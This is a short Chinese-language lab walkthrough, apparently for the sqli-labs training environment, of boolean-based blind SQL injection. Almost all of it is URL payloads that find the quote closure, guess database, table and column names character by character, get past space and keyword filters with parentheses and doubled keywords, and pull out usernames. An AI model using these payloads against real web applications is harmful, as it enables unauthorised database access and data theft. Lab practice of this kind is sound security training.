1'
没有报错信息
首先需要判断闭合方式
?id=1'%26%26'1'='1
单引号
?id=1"%26%26'1"="1
双引号
这样来进行判断
闭合方式为单引号
?id=1'%26%26length(database())=8%26%26'1'='1
猜测数据库名称长度
?id=1'%26%26substr(database(),1,1)='s'%26%26'1'='1
猜测数据库名称的第一个字符
正常的是这样的
?id=1'%26%26substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'%26%26'1'='1
猜测数据库中第一张表的第一个字符
因为过滤了空格,用括号分割查询语句
?id=1'%26%26substr((select(table_name)from(information_schema.tables)where(table_schema='security')limit(0,1)),1,1)='e'%26%26'1'='1
但是应该是在limit 0,1
这里出了问题
?id=1'%26%26substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),1,1)='e'%26%26'1'='1
用group_concat,这样就不用limit 0,1了
?id=1'%26%26substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e'%26%26'1'='1
猜测数据库中第一张表的第一个字符
?id=1'%26%26substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),1,1)='i'%26%26'1'='1
获取security数据库中users表中第一个字段的第一个字符
?id=1'%26%26ascii(substr((select(group_concat(username))from(security.users)),1,1))=68%26%26'1'='1
获得security数据库中users表中的username字段的第一个字符